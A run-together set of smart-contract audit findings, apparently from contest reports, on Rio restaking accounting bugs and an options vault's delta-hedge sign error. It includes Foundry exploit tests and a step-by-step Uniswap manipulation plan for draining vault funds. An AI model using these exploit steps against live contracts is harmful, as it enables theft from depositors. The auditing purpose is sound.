test_avoidInstantPriceDrop() public {\\n //-> Add two operators with 1 validator each\\n uint8[] memory operatorIds = addOperatorDelegators(\\n reETH.operatorRegistry,\\n address(reETH.rewardDistributor),\\n 2,\\n emptyStrategyShareCaps,\\n 1\\n );\\n address operatorAddress0 = address(uint160(1));\\n\\n //-> Deposit ETH so there's 74ETH in the deposit pool\\n uint256 depositAmount = 2*ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;\\n uint256 amountToWithdraw = 10 ether;\\n reETH.coordinator.depositETH{value: amountToWithdraw + depositAmount}();\\n\\n //-> Stake the 64ETH on the validators, 32ETH each and 10 ETH stay in the deposit pool\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n //-> Attacker notices a validator is going receive penalties and immediately requests a withdrawal of 10ETH\\n reETH.coordinator.requestWithdrawal(ETH_ADDRESS, amountToWithdraw);\\n\\n //-> Validator get some penalties and Eigenlayer notified \\n //IMPORTANT: The following block of code it's a simulation of what would happen if a validator balances gets lowered because of penalties\\n //and `verifyBalanceUpdates()` gets called on Eigenlayer. It uses another bug to achieve an instant loss of TVL.\\n\\n // ~~~Start penalties simulation~~~\\n {\\n //-> Verify validators credentials of the two validators\\n verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);\\n verifyCredentialsForValidators(reETH.operatorRegistry, 2, 1);\\n\\n //-> Cache current TVL and ETH Balance\\n uint256 TVLBefore = reETH.coordinator.getTVL();\\n\\n //->Operator calls `undelegate()` on Eigenlayer\\n //IMPORTANT: This achieves the same a calling `verifyBalanceUpdates()` on Eigenlayer after a validator suffered penalties,\\n //an instant drop in TVL.\\n IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorIds[0]);\\n vm.prank(operatorAddress0);\\n delegationManager.undelegate(details.delegator);\\n\\n //-> TVL dropped\\n uint256 TVLAfter = reETH.coordinator.getTVL();\\n\\n assertLt(TVLAfter, TVLBefore);\\n }\\n // ~~~End penalties simulation~~~\\n\\n //-> Rebalance gets called\\n skip(reETH.coordinator.rebalanceDelay());\\n vm.prank(EOA, EOA);\\n reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n //-> Attacker receives all of the ETH he withdrew, avoiding the effect of penalties\\n uint256 balanceBefore = address(this).balance;\\n reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));\\n uint256 balanceAfter = address(this).balance;\\n assertEq(balanceAfter - balanceBefore, amountToWithdraw);\\n}\\n```\\n
When RioLRTCoordinator::rebalance() is called and penalties or slashing events happened during the epoch being settled, distribute the correct amount of penalties to all the `LRTTokens` withdrawn in the current epoch, including the ones that requested the withdrawal before the drop.
Stakers can avoid validator penalties and slashing events if there's enough liquidity in the deposit pool.
```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n
All operators can have ETH deposits regardless of the cap setted for them leading to miscalculated TVL
medium
Some operators might not be eligible for using some strategies in the LRT's underlying tokens. However, in default every operator can have ETH deposits which would impact the TVL/Exchange rate of the LRT regardless of they have a cap or not.\\nFirst, let's examine how an operator can have ETH deposit\\nAn operator can have ETH deposits by simply staking in beacon chain, to do so they are not mandatory to call EigenPods "stake" function. They can do it separately without calling the EigenPods stake function.\\nAlso, every operator delegator contract can call `verifyWithdrawalCredentials` to increase EigenPod shares and decrease the queued ETH regardless of they are active operator or they have a cap determined for BEACON_CHAIN_STRATEGY.\\nNow, let's look at how the TVL of ETH (BEACON_CHAIN_STRATEGY) is calculated in the AssetRegistry:\\n```\\nfunction getTVLForAsset(address asset) public view returns (uint256) {\\n uint256 balance = getTotalBalanceForAsset(asset);\\n if (asset == ETH_ADDRESS) {\\n return balance;\\n }\\n return convertToUnitOfAccountFromAsset(asset, balance);\\n }\\n\\n function getTotalBalanceForAsset(address asset) public view returns (uint256) {\\n if (!isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);\\n\\n address depositPool_ = address(depositPool());\\n if (asset == ETH_ADDRESS) {\\n return depositPool_.balance + getETHBalanceInEigenLayer();\\n }\\n\\n uint256 sharesHeld = getAssetSharesHeld(asset);\\n uint256 tokensInRio = IERC20(asset).balanceOf(depositPool_);\\n uint256 tokensInEigenLayer = convertFromSharesToAsset(getAssetStrategy(asset), sharesHeld);\\n\\n return tokensInRio + tokensInEigenLayer;\\n }\\n\\n function getETHBalanceInEigenLayer() public view returns (uint256 balance) {\\n balance = ethBalanceInUnverifiedValidators;\\n\\n IRioLRTOperatorRegistry operatorRegistry_ = operatorRegistry();\\n -> uint8 endAtID = operatorRegistry_.operatorCount() + 1; // Operator IDs start at 1.\\n -> for (uint8 id = 1; id < endAtID; ++id) {\\n -> balance += operatorDelegator(operatorRegistry_, id).getETHUnderManagement();\\n }\\n }\\n```\\n\\nAs we can see above, regardless of the operators cap the entire active validator counts are looped.\\n```\\nfunction getEigenPodShares() public view returns (int256) {\\n return eigenPodManager.podOwnerShares(address(this));\\n }\\n\\n function getETHQueuedForWithdrawal() public view returns (uint256) {\\n uint256 ethQueuedSlotData;\\n assembly {\\n ethQueuedSlotData := sload(ethQueuedForUserSettlementGwei.slot)\\n }\\n\\n uint64 userSettlementGwei = uint64(ethQueuedSlotData);\\n uint64 operatorExitAndScrapeGwei = uint64(ethQueuedSlotData 64);\\n\\n return (userSettlementGwei + operatorExitAndScrapeGwei).toWei();\\n }\\n\\n function getETHUnderManagement() external view returns (uint256) {\\n int256 aum = getEigenPodShares() + int256(getETHQueuedForWithdrawal());\\n if (aum < 0) return 0;\\n\\n return uint256(aum);\\n }\\n```\\n\\nSince the operator has eigen pod shares, the TVL will account it aswell. However, since the operator is not actively participating on ether deposits (not in the heap order) the withdrawals or deposits to this specific operator is impossible. Hence, the TVL is accounting an operators eigen pod share which the contract assumes that it is not in the heap.\\nTextual PoC: Assume there are 5 operators whereas only 4 of these operators are actively participating in BEACON_CHAIN_STRATEGY which means that 1 operator has no validator caps set hence, it is not in the heap order. However, this operator can still have ether deposits and can verify them. Since the TVL accounting loops over all the operators but not the operators that are actively participating in beacon chain strategy, the TVL calculated will be wrong.
put a check on `verifyWithdrawalCredentials` that is not possible to call the function if the operator is not actively participating in the BEACON_CHAIN_STRATEGY.
Miscalculation of total ether holdings of an LRT. Withdrawals can fail because the calculated ether is not existed in the heap but the TVL says there are ether to withdraw from the LRT.
```\\nfunction getTVLForAsset(address asset) public view returns (uint256) {\\n uint256 balance = getTotalBalanceForAsset(asset);\\n if (asset == ETH_ADDRESS) {\\n return balance;\\n }\\n return convertToUnitOfAccountFromAsset(asset, balance);\\n }\\n\\n function getTotalBalanceForAsset(address asset) public view returns (uint256) {\\n if (!isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);\\n\\n address depositPool_ = address(depositPool());\\n if (asset == ETH_ADDRESS) {\\n return depositPool_.balance + getETHBalanceInEigenLayer();\\n }\\n\\n uint256 sharesHeld = getAssetSharesHeld(asset);\\n uint256 tokensInRio = IERC20(asset).balanceOf(depositPool_);\\n uint256 tokensInEigenLayer = convertFromSharesToAsset(getAssetStrategy(asset), sharesHeld);\\n\\n return tokensInRio + tokensInEigenLayer;\\n }\\n\\n function getETHBalanceInEigenLayer() public view returns (uint256 balance) {\\n balance = ethBalanceInUnverifiedValidators;\\n\\n IRioLRTOperatorRegistry operatorRegistry_ = operatorRegistry();\\n -> uint8 endAtID = operatorRegistry_.operatorCount() + 1; // Operator IDs start at 1.\\n -> for (uint8 id = 1; id < endAtID; ++id) {\\n -> balance += operatorDelegator(operatorRegistry_, id).getETHUnderManagement();\\n }\\n }\\n```\\n
`requestWithdrawal` doesn't estimate accurately the available shares for withdrawals
medium
The `requestWithdrawal` function inaccurately estimates the available shares for withdrawals by including funds stored in the deposit pool into the already deposited EigenLayer shares. This can potentially lead to blocking withdrawals or users receiving less funds for their shares.\\nFor a user to withdraw funds from the protocol, they must first request a withdrawal using the `requestWithdrawal` function, which queues the withdrawal in the current epoch by calling `withdrawalQueue().queueWithdrawal`.\\nTo evaluate the available shares for withdrawal, the function converts the protocol asset balance into shares:\\n```\\nuint256 availableShares = assetRegistry().convertToSharesFromAsset(asset, assetRegistry().getTotalBalanceForAsset(asset));\\n```\\n\\nThe issue arises from the `getTotalBalanceForAsset` function, which returns the sum of the protocol asset funds held, including assets already deposited into EigenLayer and assets still in the deposit pool:\\n```\\nfunction getTotalBalanceForAsset(\\n address asset\\n) public view returns (uint256) {\\n if (!isSupportedAsset(asset)) revert ASSET_NOT_SUPPORTED(asset);\\n\\n address depositPool_ = address(depositPool());\\n if (asset == ETH_ADDRESS) {\\n return depositPool_.balance + getETHBalanceInEigenLayer();\\n }\\n\\n uint256 sharesHeld = getAssetSharesHeld(asset);\\n uint256 tokensInRio = IERC20(asset).balanceOf(depositPool_);\\n uint256 tokensInEigenLayer = convertFromSharesToAsset(\\n getAssetStrategy(asset),\\n sharesHeld\\n );\\n\\n return tokensInRio + tokensInEigenLayer;\\n}\\n```\\n\\nThis causes the calculated `availableShares` to differ from the actual shares held by the protocol because the assets still in the deposit pool shouldn't be converted to shares with the current share price (shares/asset) as they were not deposited into EigenLayer yet.\\nDepending on the current shares price, the function might over or under-estimate the available shares in the protocol. This can potentially result in allowing more queued withdrawals than the available shares in the protocol, leading to blocking withdrawals later on or users receiving less funds for their shares.
There is no straightforward way to handle this issue as the asset held by the deposit pool can't be converted into shares while they were not deposited into EigenLayer. The code should be reviewed to address this issue.
The `requestWithdrawal` function inaccurately estimates the available shares for withdrawals, potentially resulting in blocking withdrawals or users receiving less funds for their shares.
```\\nuint256 availableShares = assetRegistry().convertToSharesFromAsset(asset, assetRegistry().getTotalBalanceForAsset(asset));\\n```\\n
Slashing penalty is unfairly paid by a subset of users if a deficit is accumulated.
medium
If a deficit is accumulated in the EigenPodManager due to slashing when ETH is being withdrawn the slashing payment will be taken from the first cohort to complete a withdrawal.\\nA deficit can happen in `podOwnerShares[podOwner]` in the EigenPodManager in the EigenLayer protocol. This can happen if validators are slashed when ETH is queued for withdrawal.\\nThe issue is that this deficit will be paid for by the next cohort to complete a withdrawal by calling `settleEpochFromEigenLayer()`.\\nIn the following code we can see how `epochWithdrawals.assetsReceived` is calculated based on the amount received from the `delegationManager.completeQueuedWithdrawal` call\\n```\\n uint256 balanceBefore = asset.getSelfBalance();\\n\\n address[] memory assets = asset.toArray();\\n bytes32[] memory roots = new bytes32[](queuedWithdrawalCount);\\n\\n IDelegationManager.Withdrawal memory queuedWithdrawal;\\n for (uint256 i; i < queuedWithdrawalCount; ++i) {\\n queuedWithdrawal = queuedWithdrawals[i];\\n\\n roots[i] = _computeWithdrawalRoot(queuedWithdrawal);\\n delegationManager.completeQueuedWithdrawal(queuedWithdrawal, assets, middlewareTimesIndexes[i], true);\\n\\n // Decrease the amount of ETH queued for withdrawal. We do not need to validate the staker as\\n // the aggregate root will be validated below.\\n if (asset == ETH_ADDRESS) {\\n IRioLRTOperatorDelegator(queuedWithdrawal.staker).decreaseETHQueuedForUserSettlement(\\n queuedWithdrawal.shares[0]\\n );\\n }\\n }\\n if (epochWithdrawals.aggregateRoot != keccak256(abi.encode(roots))) {\\n revert INVALID_AGGREGATE_WITHDRAWAL_ROOT();\\n }\\n epochWithdrawals.shareValueOfAssetsReceived = SafeCast.toUint120(epochWithdrawals.sharesOwed);\\n\\n uint256 assetsReceived = asset.getSelfBalance() - balanceBefore;\\n epochWithdrawals.assetsReceived += SafeCast.toUint120(assetsReceived);\\n```\\n\\nthe amount received could be 0 if the deficit is larger than the amount queued for this cohort. See following code in `withdrawSharesAsTokens()` EigenPodManager\\n```\\n } else {\\n podOwnerShares[podOwner] += int256(shares);\\n emit PodSharesUpdated(podOwner, int256(shares));\\n return;\\n }\\n```\\n\\nThese users will pay for all slashing penalties instead of it being spread out among all LRT holders.
A potential solution to deal with this is to check if a deficit exists in `settleEpochFromEigenLayer()`. If it exists functionality has to be added that spreads the cost of the penalty fairly among all LRT holders.
If a deficit is accumulated the first cohort to settle will pay for the entire amount. If they can not cover it fully, they will receive 0 and the following cohort will pay for the rest.
```\\n uint256 balanceBefore = asset.getSelfBalance();\\n\\n address[] memory assets = asset.toArray();\\n bytes32[] memory roots = new bytes32[](queuedWithdrawalCount);\\n\\n IDelegationManager.Withdrawal memory queuedWithdrawal;\\n for (uint256 i; i < queuedWithdrawalCount; ++i) {\\n queuedWithdrawal = queuedWithdrawals[i];\\n\\n roots[i] = _computeWithdrawalRoot(queuedWithdrawal);\\n delegationManager.completeQueuedWithdrawal(queuedWithdrawal, assets, middlewareTimesIndexes[i], true);\\n\\n // Decrease the amount of ETH queued for withdrawal. We do not need to validate the staker as\\n // the aggregate root will be validated below.\\n if (asset == ETH_ADDRESS) {\\n IRioLRTOperatorDelegator(queuedWithdrawal.staker).decreaseETHQueuedForUserSettlement(\\n queuedWithdrawal.shares[0]\\n );\\n }\\n }\\n if (epochWithdrawals.aggregateRoot != keccak256(abi.encode(roots))) {\\n revert INVALID_AGGREGATE_WITHDRAWAL_ROOT();\\n }\\n epochWithdrawals.shareValueOfAssetsReceived = SafeCast.toUint120(epochWithdrawals.sharesOwed);\\n\\n uint256 assetsReceived = asset.getSelfBalance() - balanceBefore;\\n epochWithdrawals.assetsReceived += SafeCast.toUint120(assetsReceived);\\n```\\n
ETH withdrawers do not earn yield while waiting for a withdrawal
medium
In the Rio doc we can read the following\\n"Users will continue to earn yield as they wait for their withdrawal request to be processed."\\nThis is not true for withdrawals in ETH since they will simply receive an equivalent to the `sharesOWed` calculated when requesting a withdrawal.\\nWhen `requestWithdrawal()` is called to withdraw ETH `sharesOwed` is calculated\\n```\\nsharesOwed = convertToSharesFromRestakingTokens(asset, amountIn);\\n```\\n\\nThe total `sharesOwed` in ETH is added to `epcohWithdrawals.assetsReceived` if we settle with `settleCurrentEpoch()` or `settleEpochFromEigenlayer()`\\nBelow are the places where `assetsReceived` is is set and accumulated\\n```\\nepochWithdrawals.assetsReceived = SafeCast.toUint120(assetsReceived);\\n```\\n\\n```\\nepochWithdrawals.assetsReceived = SafeCast.toUint120(assetsReceived); \\n```\\n\\n```\\nepochWithdrawals.assetsReceived += SafeCast.toUint120(assetsReceived);\\n```\\n\\nwhen claiming rewards this is used to calculate users share\\n```\\namountOut = userSummary.sharesOwed.mulDiv(epochWithdrawals.assetsReceived, epochWithdrawals.sharesOwed);\\n```\\n\\nThe portion of staking rewards accumulated during withdrawal that belongs to LRT holders is never accounted for so withdrawing users do not earn any rewards when waiting for a withdrawal to be completed.
Account for the accumulate rewards during the withdrawal period that belongs to the deposit pool. This can be calculated based on data in DelayedWithdrawalRouter on Eigenlayer.
Since a portion of the staking reward belongs to the LRT holders and since the docs mentions that yield is accumulated while in the queue It is fair to assume that withdrawing users have a proportional claim to the yield.\\nAs shown above this is not true, users withdrawing in ETH do no earn any rewards when withdrawing.\\nNot all depositors will be able to withdraw their assets/principal for non-ETH assets.\\nCzar102\\nI see. I will leave it a duplicate of #109, as it was, which will not change the reward distribution from the scenario where it was invalidated. cc @nevillehuang\\nThanks for reminding me to remove #177 from the duplicates @0xmonrel.\\nCzar102\\nResult: Medium Has Duplicates\\nConsidering this a Medium since the loss is constrained to the interest during some of the withdrawal time, which is a small part of the deposits.\\nsherlock-admin3\\nEscalations have been resolved successfully!\\nEscalation status:\\n0xmonrel: accepted
```\\nsharesOwed = convertToSharesFromRestakingTokens(asset, amountIn);\\n```\\n
The sign of delta hedge amount can be reversed by malicious user due to incorrect condition in `FinanceIGDelta.deltaHedgeAmount`
high
When delta hedge amount is calculated after the trade, the final check is to account for sqrt computation error and ensure the exchanged amount of side token doesn't exceed amount of side tokens the vault has. The issue is that this check is incorrect: it compares absolute value of the delta hedge amount, but always sets positive amount of side tokens if the condition is true. If the delta hedge amount is negative, this final check will reverse the sign of the delta hedge amount, messing up the hedged assets the protocol has.\\nAs a result, if the price moves significantly before the next delta hedge, protocol might not have enough funds to pay off users due to incorrect hedging. It also allows the user to manipulate underlying uniswap pool, then force the vault to delta hedge large amount at very bad price while trading tiny position of size 1 wei, without paying any fees. Repeating this process, the malicious user can drain/steal all funds from the vault in a very short time.\\nThe final check in calculating delta hedge amount in `FinanceIGDelta.deltaHedgeAmount` is:\\n```\\n // due to sqrt computation error, sideTokens to sell may be very few more than available\\n if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n }\\n }\\n```\\n\\nThe logic is that if due to small computation errors, delta hedge amount (to sell side token) can slightly exceed amount of side tokens the vault has, when in reality it means to just sell all side tokens the vault has, then delta hedge amount should equal to side tokens amount vault has.\\nThe issue here is that only positive delta hedge amount means vault has to sell side tokens, while negative amount means it has to buy side tokens. But the condition compares `abs(tokensToSwap)`, meaning that if the delta hedge amount is negative, but in absolute value very close to side tokens amount the vault has, then the condition will also be true, which will set `tokensToSwap` to a positive amount of side tokens, i.e. will reverse the delta hedge amount from `-sideTokens` to `+sideTokens`.\\nIt's very easy for malicious user to craft such situation. For example, if current price is significantly greater than strike price, and there are no other open trades, simply buy IG bull options for 50% of the vault amount. Then buy IG bull options for another 50%. The first trade will force the vault to buy ETH for delta hedge, while the second trade will force the vault to sell the same ETH amount instead of buying it. If there are open trades, it's also easy to calculate the correct proportions of the trades to make `delta hedge amount = -side tokens`.\\nOnce the vault incorrectly hedges after malicious user's trade, there are multiple bad scenarios which will harm the protocol. For example:\\nIf no trade happens for some time and the price increases, the protocol will have no side tokens to hedge, but the bull option buyers will still receive their payoff, leaving vault LPs in a loss, up to a situation when the vault will not have enough funds to even pay the option buyers payoff.\\nMalicious user can abuse the vault's incorrect hedge to directly profit from it. After the trade described above, any trade, even 1 wei trade, will make vault re-hedge with the correct hedge amount, which can be a significant amount. Malicious user can abuse it by manipulating the underlying uniswap pool: 2.1. Buy underlying uniswap pool up to the edge of allowed range (say, +1.8% of current price, average price of ETH bought = +0.9% of current price) 2.2. Provide uniswap liquidity in that narrow range (+1.8%..+2.4%) 2.3. Open/close any position in IG with amount = 1 wei (basically paying no fees) -> this forces the vault to delta hedge (buy) large amount of ETH at inflated price ~+2% of the current price. 2.5. Remove uniswap liquidity. 2.6. Sell back in the uniswap pool. 2.7. During the delta hedge, uniswap position will buy ETH (uniswap liquidity will sell ETH) at the average price of +2.1% of the current price, also receiving pool fees. The fees for manipulating the pool and "closing" position via providing liquidity will cancel out and overall profit will be: +2.1% - 0.9% = +1.2% of the delta hedge amount.\\nThe strategy can be enchanced to optimize the profitability, but the idea should be clear.
The check should be done only when `tokensToSwap` is positive:\\n```\\n // due to sqrt computation error, sideTokens to sell may be very few more than available\\n- if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n+ if (tokensToSwap > 0 && SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n }\\n }\\n```\\n
Malicious user can steal all vault funds, and/or the vault LPs will incur losses higher than uniswap LPs or vault will be unable to payoff the traders due to incorrect hedged amount.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGVaultTest is Test {\\n using AmountsMath for uint256;\\n\\n address admin = address(0x1);\\n\\n // User of Vault\\n address alice = address(0x2);\\n address bob = address(0x3);\\n\\n //User of DVP\\n address charlie = address(0x4);\\n address david = address(0x5);\\n\\n AddressProvider ap;\\n TestnetToken baseToken;\\n TestnetToken sideToken;\\n FeeManager feeManager;\\n\\n MockedRegistry registry;\\n\\n MockedVault vault;\\n MockedIG ig;\\n TestnetPriceOracle priceOracle;\\n TestnetSwapAdapter exchange;\\n uint _strike;\\n\\n function setUp() public {\\n vm.warp(EpochFrequency.REF_TS);\\n //ToDo: Replace with Factory\\n vm.startPrank(admin);\\n ap = new AddressProvider(0);\\n registry = new MockedRegistry();\\n ap.grantRole(ap.ROLE_ADMIN(), admin);\\n registry.grantRole(registry.ROLE_ADMIN(), admin);\\n ap.setRegistry(address(registry));\\n\\n vm.stopPrank();\\n\\n vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap, admin, vm));\\n priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n baseToken = TestnetToken(vault.baseToken());\\n sideToken = TestnetToken(vault.sideToken());\\n\\n vm.startPrank(admin);\\n \\n ig = new MockedIG(address(vault), address(ap));\\n ig.grantRole(ig.ROLE_ADMIN(), admin);\\n ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n vault.grantRole(vault.ROLE_ADMIN(), admin);\\n vm.stopPrank();\\n ig.setOptionPrice(1e3);\\n ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n ig.useRealDeltaHedge();\\n ig.useRealPercentage();\\n ig.useRealPremium();\\n\\n DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n vm.prank(admin);\\n registry.registerDVP(address(ig));\\n vm.prank(admin);\\n MockedVault(vault).setAllowedDVP(address(ig));\\n feeManager = FeeManager(ap.feeManager());\\n\\n exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n }\\n\\n function testIncorrectDeltaHedge() public {\\n _strike = 1e18;\\n VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n Utils.skipDay(true, vm);\\n\\n vm.prank(admin);\\n ig.rollEpoch();\\n\\n VaultUtils.logState(vault);\\n DVPUtils.debugState(ig);\\n\\n testBuyOption(1.09e18, 0.5e18, 0);\\n testBuyOption(1.09e18, 0.5e18, 0);\\n }\\n\\n function testBuyOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike, optionAmountUp, optionAmountDown);\\n\\n vm.startPrank(charlie);\\n premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown, premium, 1e18, 0);\\n vm.stopPrank();\\n\\n console.log("premium", premium);\\n VaultUtils.logState(vault);\\n }\\n\\n function testSellOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n uint256 charliePayoff;\\n uint256 charliePayoffFee;\\n {\\n vm.startPrank(charlie);\\n (charliePayoff, charliePayoffFee) = ig.payoff(\\n ig.currentEpoch(),\\n _strike,\\n optionAmountUp,\\n optionAmountDown\\n );\\n\\n charliePayoff = ig.burn(\\n ig.currentEpoch(),\\n charlie,\\n _strike,\\n optionAmountUp,\\n optionAmountDown,\\n charliePayoff,\\n 0.1e18\\n );\\n vm.stopPrank();\\n\\n console.log("payoff received", charliePayoff);\\n }\\n\\n VaultUtils.logState(vault);\\n }\\n\\n function _assurePremium(\\n address user,\\n uint256 strike,\\n uint256 amountUp,\\n uint256 amountDown\\n ) private returns (uint256 premium_, uint256 fee) {\\n (premium_, fee) = ig.premium(strike, amountUp, amountDown);\\n TokenUtils.provideApprovedTokens(admin, address(baseToken), user, address(ig), premium_*2, vm);\\n }\\n}\\n```\\n\\nExecution console:\\n```\\n baseToken balance 1000000000000000000\\n sideToken balance 1000000000000000000\\n// rest of code\\n premium 0\\n baseToken balance 2090000000000000000\\n sideToken balance 0\\n// rest of code\\n premium 25585649987654406\\n baseToken balance 1570585649987654474\\n sideToken balance 499999999999999938\\n// rest of code\\n premium 25752512349788475\\n baseToken balance 2141338162337442881\\n sideToken balance 0\\n// rest of code\\n premium 0\\n baseToken balance 1051338162337442949\\n sideToken balance 999999999999999938\\n// rest of code\\n```\\n\\nNotice:\\nFirst trade (amount = 1 wei) settles delta-hedge at current price (1.09): sideToken = 0 because price is just above kB\\n2nd trade (buy ig bull amount = 0.5) causes delta-hedge of buying 0.5 side token\\n3rd trade (buy ig bull amount = 0.5) causes delta-hedge of selling 0.5 side token (instead of buying 0.5)\\nLast trade (amount = 1 wei) causes vault to buy 1 side token for correct delta-hedge (but at 0 fee to user).
```\\n // due to sqrt computation error, sideTokens to sell may be very few more than available\\n if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {\\n if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount < params.sideTokensAmount / 10000) {\\n tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);\\n }\\n }\\n```\\n
Position Manager providing the wrong strike when storing user's position data
medium
When users mint position using `PositionManager`, users can provide strike that want to be used for the trade. However, if the provided strike data is not exactly the same with IG's current strike, the minted position's will be permanently stuck inside the PositionManager's contract.\\nWhen `mint` is called inside `PositionManager`, it will calculate the premium, transfer the required base token, and eventually call `dvp.mint`, providing the user's provided information.\\n```\\n function mint(\\n IPositionManager.MintParams calldata params\\n ) external override returns (uint256 tokenId, uint256 premium) {\\n IDVP dvp = IDVP(params.dvpAddr);\\n\\n if (params.tokenId != 0) {\\n tokenId = params.tokenId;\\n ManagedPosition storage position = _positions[tokenId];\\n\\n if (ownerOf(tokenId) != msg.sender) {\\n revert NotOwner();\\n }\\n // Check token compatibility:\\n if (position.dvpAddr != params.dvpAddr || position.strike != params.strike) {\\n revert InvalidTokenID();\\n }\\n Epoch memory epoch = dvp.getEpoch();\\n if (position.expiry != epoch.current) {\\n revert PositionExpired();\\n }\\n }\\n if ((params.notionalUp > 0 && params.notionalDown > 0) && (params.notionalUp != params.notionalDown)) {\\n // If amount is a smile, it must be balanced:\\n revert AsymmetricAmount();\\n }\\n\\n uint256 obtainedPremium;\\n uint256 fee;\\n (obtainedPremium, fee) = dvp.premium(params.strike, params.notionalUp, params.notionalDown);\\n\\n // Transfer premium:\\n // NOTE: The PositionManager is just a middleman between the user and the DVP\\n IERC20 baseToken = IERC20(dvp.baseToken());\\n baseToken.safeTransferFrom(msg.sender, address(this), obtainedPremium);\\n\\n // Premium already include fee\\n baseToken.safeApprove(params.dvpAddr, obtainedPremium);\\n\\n==> premium = dvp.mint(\\n address(this),\\n params.strike,\\n params.notionalUp,\\n params.notionalDown,\\n params.expectedPremium,\\n params.maxSlippage,\\n params.nftAccessTokenId\\n );\\n\\n // // rest of code.\\n }\\n```\\n\\n```\\n /// @inheritdoc IDVP\\n function mint(\\n address recipient,\\n uint256 strike,\\n uint256 amountUp,\\n uint256 amountDown,\\n uint256 expectedPremium,\\n uint256 maxSlippage,\\n uint256 nftAccessTokenId\\n ) external override returns (uint256 premium_) {\\n strike;\\n _checkNFTAccess(nftAccessTokenId, recipient, amountUp + amountDown);\\n Amount memory amount_ = Amount({up: amountUp, down: amountDown});\\n\\n==> premium_ = _mint(recipient, financeParameters.currentStrike, amount_, expectedPremium, maxSlippage);\\n }\\n```\\n\\n```\\n function mint(\\n IPositionManager.MintParams calldata params\\n ) external override returns (uint256 tokenId, uint256 premium) {\\n // // rest of code\\n\\n if (obtainedPremium > premium) {\\n baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);\\n }\\n\\n if (params.tokenId == 0) {\\n // Mint token:\\n tokenId = _nextId++;\\n _mint(params.recipient, tokenId);\\n\\n Epoch memory epoch = dvp.getEpoch();\\n\\n // Save position:\\n _positions[tokenId] = ManagedPosition({\\n dvpAddr: params.dvpAddr,\\n==> strike: params.strike,\\n expiry: epoch.current,\\n premium: premium,\\n leverage: (params.notionalUp + params.notionalDown) / premium,\\n notionalUp: params.notionalUp,\\n notionalDown: params.notionalDown,\\n cumulatedPayoff: 0\\n });\\n } else {\\n ManagedPosition storage position = _positions[tokenId];\\n // Increase position:\\n position.premium += premium;\\n position.notionalUp += params.notionalUp;\\n position.notionalDown += params.notionalDown;\\n /* NOTE:\\n When, within the same epoch, a user wants to buy, sell partially\\n and then buy again, the leverage computation can fail due to\\n 